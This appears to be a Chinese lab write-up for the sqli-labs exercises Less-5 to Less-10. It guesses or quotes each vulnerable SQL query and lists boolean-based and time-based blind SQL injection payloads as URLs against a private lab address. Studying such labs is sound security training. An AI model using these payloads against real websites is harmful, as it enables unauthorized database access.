猜测SQL语句为：

select login_name,password from table_name where id='$id' limit 0,1

构造payload

http://10.10.202.112/sqli/Less-5?id=1' and substr(@@version,1,1)=4--+ #false

http://10.10.202.112/sqli/Less-5?id=1' and substr(@@version,1,1)=5--+ #true

猜测SQL语句应该为：

select login_name,password from table_name where id="$id" limit 0,1

http://10.10.202.112/sqli/Less-6?id=1" and substr(@@version,1,1)=4--+ #false

http://10.10.202.112/sqli/Less-6?id=1" and substr(@@version,1,1)=5--+ #true

http://10.10.202.112/sqli/Less-6?id=1" and sleep(5) and "s"="s

Less-7

GET - Dump into outfile - String

看了源码SQL语句为：

SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1

构造payload

http://10.10.202.112/sqli/Less-7?id=1')) and sleep(5) -- -

http://10.10.202.112/sqli/Less-7?id=1')) and substr(@@version,1,1)=4--+ #false

http://10.10.202.112/sqli/Less-7?id=1')) and substr(@@version,1,1)=5--+ #true

Less-8

GET - Blind - Boolian Based - Single Quotes

http://10.10.202.112/sqli/Less-8?id=1' #false

http://10.10.202.112/sqli/Less-8?id=1'--+ #true

猜测SQL：

SELECT * FROM users WHERE id='$id' LIMIT 0,1

http://10.10.202.112/sqli/Less-8?id=1' and substr(user(),1,1)='z' --+ #false

http://10.10.202.112/sqli/Less-8?id=1' and substr(user(),1,1)='r' --+ #true

Less-9

GET - Blind - Time based. - Single Quotes

源代码SQL

SELECT * FROM users WHERE id='$id' LIMIT 0,1

payload：

http://10.10.202.112/sqli/Less-9?id=1' and substr(@@version,1,1)=4 and sleep(5)--+

http://10.10.202.112/sqli/Less-9?id=1' and substr(@@version,1,1)=5 and sleep(5)--+

Less-10

GET - Blind - Time based - double quotes

http://10.10.202.112/sqli/Less-10?id=1" and 1=1 and sleep(5)--+

http://10.10.202.112/sqli/Less-10?id=1" and 1=2 and sleep(5)--+
